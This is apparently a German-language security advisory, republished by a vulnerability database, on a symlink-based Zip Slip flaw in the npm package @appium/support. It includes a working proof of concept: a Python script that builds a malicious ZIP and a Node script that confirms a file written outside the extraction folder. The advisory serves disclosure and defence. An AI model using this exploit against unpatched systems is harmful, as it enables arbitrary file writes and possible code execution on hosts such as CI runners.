Appium: Symlink-basierter Zip Slip beim Entpacken von ZIP-Dateien in @appium/support
Zusammenfassung
CVE-2026-30973 (GHSA-rfx7-4xw3-gh4m) war ein einfacher Path-Traversal-Fehler im Eintragsnamen. Die Überprüfung erstellte ein Error-Objekt, ohne dieses zu werfen, sodass ein Eintrag mit einem Namen wie ../evil.txt außerhalb des Zielverzeichnisses geschrieben wurde. Dieses Problem wurde in @appium/support 7.0.6 behoben, indem unzulässige Eintragsnamen tatsächlich abgewiesen werden.
Dieser Befund betrifft einen anderen Angriffsvektor, der durch den Fix in 7.0.6 nicht abgedeckt wird. Die Eintragsnamen im Archiv sind hier vollkommen legitim (beispielsweise pwn und pwn/owned.txt, nirgends ..), weshalb jede namensbasierte Prüfung greift und sie akzeptiert. Der Ausbruch erfolgt über einen symbolischen Link. Ein Eintrag ist ein Symlink, dessen Ziel außerhalb des Entpackungsverzeichnisses liegt, und ein nachfolgender Eintrag ist eine reguläre Datei, deren Pfad über diesen Symlink aufgelöst wird. Die namensbasierte Prüfung überprüft das Ziel des Symlinks nicht, und der Entpacker übernimmt das Symlink-Ziel unverändert, wodurch die Datei außerhalb des Zielverzeichnisses geschrieben wird.
Vergleich der beiden Probleme auf der gepatchten Version 7.2.5:
| CVE-2026-30973 | Dieser Befund | |
|---|---|---|
| Vektor | Ein Eintrag, dessen Name .. enthält |
Ein Symlink-Eintrag plus eine darüber geschriebene Datei |
| Eintragsnamen | Enthalten .. (ungültig) |
Legitim, kein .. und nicht absolut |
| Fehlendes Verhalten | Die .. Namensprüfung warf keinen Fehler |
Namensprüfungen lösen keine Symlinks auf und das Ziel bleibt ungeprüft |
| Benötigte Einträge | Einer | Zwei |
| Behoben in 7.0.6 | Ja | Nein |
| Status unter 7.2.5 | Blockiert | Weiterhin ausnutzbar (unten nachgewiesen) |
Details
Ursache
Der Entpacker führt lediglich eine lexikalische Pfadprüfung für den Namen jedes Eintrags durch. Bei einem Symlink-Eintrag wird der Link mit dem Ziel direkt aus dem Archiv erstellt:
// @appium/support build/lib/zip.js (extractAllTo path), version 7.2.5
97 if (!isSubPath(dest, dir)) { // lexical only, never resolves symlinks
98 throw new Error(`Out of bound path "${dest}" found while processing file ${fileName}`);
99 }
...
142 await fs.symlink(link, dest); // link target comes verbatim from the archive
isSubPath vergleicht normalisierte Zeichenketten und ruft nicht realpath auf. Daher liegt das Ziel dir/pwn/owned.txt für den Dateieintrag pwn/owned.txt lexikalisch innerhalb von dir, und die Prüfung ist erfolgreich, obwohl dir/pwn ein durch den vorherigen Eintrag erstellter Symlink ist, der aus dir herauszeigt. Der Schreibvorgang folgt diesem Symlink und verlässt das Verzeichnis. Das Symlink-Ziel wird zu keinem Zeitpunkt gegen das Basisverzeichnis validiert.
PoC
<img width="1443" height="411" alt="image" src="https://github.com/user-attachments/assets/95b257d6-bc1d-4407-b22b-557119fb376a" />build_zips.py
#!/usr/bin/env python3
import os, sys, zipfile, shutil
work = sys.argv[1] if len(sys.argv) > 1 else "/tmp/zswork"
pid = os.getpid()
shutil.rmtree(work, ignore_errors=True)
os.makedirs(work)
# Test A: CVE-2026-30973 plain "../" path traversal in the entry name
extractA = os.path.join(work, "extractA"); os.makedirs(extractA)
escapeA_name = f"escapeA_{pid}.txt" # would land in work/ (outside extractA)
escapeA = os.path.join(work, escapeA_name)
zipA = os.path.join(work, "cve_vector.zip")
with zipfile.ZipFile(zipA, "w") as z:
z.writestr("../" + escapeA_name, "CVE-2026-30973 plain traversal\n")
# Test B: symlink entry whose target escapes, then a file through it
extractB = os.path.join(work, "extractB"); os.makedirs(extractB)
escapeB = os.path.join(work, f"escapeB_{pid}"); os.makedirs(escapeB)
zipB = os.path.join(work, "symlink_bypass.zip")
with zipfile.ZipFile(zipB, "w") as z:
sl = zipfile.ZipInfo("pwn")
sl.create_system = 3 # unix, so external_attr carries the mode
sl.external_attr = (0o120777 & 0xFFFF) << 16 # S_IFLNK | 0777
z.writestr(sl, escapeB) # symlink target is the file body
fi = zipfile.ZipInfo("pwn/owned.txt")
fi.create_system = 3
fi.external_attr = (0o100644 & 0xFFFF) << 16
z.writestr(fi, "PWNED via symlink Zip Slip\n")
print("\t".join([work, extractA, escapeA, zipA, extractB, escapeB, zipB]))
zipslip_poc.js
'use strict';
const fs = require('fs');
const path = require('path');
const support = require('@appium/support');
const [, , work, extractA, escapeA, zipA, extractB, escapeB, zipB] = process.argv;
(async () => {
const ver = require('@appium/support/package.json').version;
console.log(`[*] @appium/support version: ${ver}`);
console.log(`[*] CVE-2026-30973 was fixed in 7.0.6, so on this newer version the plain ../ vector should be blocked.`);
// Test A: the CVE-2026-30973 vector
console.log('\n=== Test A: CVE-2026-30973 plain "../" entry name ===');
let aBlocked = false;
try {
await support.zip.extractAllTo(zipA, extractA);
} catch (e) {
aBlocked = true;
console.log(`[+] REJECTED by extractor: ${String(e.message).split('\n')[0]}`);
}
const aEscaped = fs.existsSync(escapeA);
console.log(`[=] ${aBlocked && !aEscaped ? 'BLOCKED, so CVE-2026-30973 is PATCHED in this version' : 'ESCAPED (not patched)'}`);
// Test B: this finding, the symlink bypass
console.log('\n=== Test B: symlink entry + file written through it (this finding) ===');
try {
await support.zip.extractAllTo(zipB, extractB);
} catch (e) {
console.log(`[i] extractor message: ${String(e.message).split('\n')[0]}`);
}
const planted = path.join(escapeB, 'owned.txt');
const bEscaped = fs.existsSync(planted);
if (bEscaped) {
console.log('[+] ARBITRARY FILE WRITE OUTSIDE THE EXTRACT ROOT VIA SYMLINK CONFIRMED');
console.log(` wrote : ${planted}`);
console.log(` content: ${JSON.stringify(fs.readFileSync(planted, 'utf8'))}`);
} else {
console.log('[-] symlink vector did not escape');
}
console.log('\n=== SUMMARY (same installed version) ===');
console.log(`A CVE-2026-30973 plain ../ : ${aBlocked && !aEscaped ? 'BLOCKED (fix present)' : 'ESCAPED'}`);
console.log(`B symlink bypass (this bug): ${bEscaped ? 'ESCAPED (still vulnerable)' : 'blocked'}`);
process.exit(aBlocked && !aEscaped && bEscaped ? 0 : 2);
})().catch((e) => {
console.error('ERROR', e);
process.exit(3);
});
use
Auswirkungen
Ein Angreifer, der die von Appium entpackten Archive kontrolliert, kann Dateien an beliebigen Orten schreiben, für die der Appium-Prozess Schreibrechte besitzt, da der Schreibvorgang dem Symlink zu jedem beliebigen Ziel folgt. Abhängig davon, wo Appium ausgeführt wird, können Konfigurationsdateien überschrieben, Skripte in Autostart- oder Profilpfade abgelegt oder Binärdateien im PATH ersetzt werden, was zur Ausführung von beliebigem Code führen kann. Auf einem CI-Runner oder einem Device-Farm-Host betrifft dies alle Pfade, auf die das Dienstkonto Schreibzugriff hat.
Was zu tun ist
Aktualisieren Sie @appium/support auf Version 7.2.6 oder neuer.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| npm-Paket | @appium/support | < 7.2.6 | 7.2.6 |
Verweise
- https://github.com/appium/appium/security/advisories/GHSA-qfxx-c367-67f8
- https://nvd.nist.gov/vuln/detail/CVE-2026-103975
- https://github.com/appium/appium/pull/22436
- https://github.com/appium/appium/commit/d9eb36f413153e28b04b92d8ce4447da270371c0
- https://github.com/appium/appium
- https://github.com/appium/appium/releases/tag/@appium/support@7.2.6
- CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N- Schwäche (CWE)
CWE-59- Plattform
- npm
- Paket
@appium/support- Veröffentlicht
- 15.10.2026
- Aktualisiert
- 20.10.2026 08:34
Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.
OSV / GitHub Advisory Database - GHSA-qfxx-c367-67f8 - CC BY 4.0
Schwachstellenhistorie: @appium/support
Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 2
- Erste → letzte
- 03.2026 10.2026
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Mittel 2
Veröffentlichungen pro Jahr
- 2026: 2
-
Appium: Symlink-basierter Zip Slip beim Entpacken von ZIP-Dateien in @appium/support dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.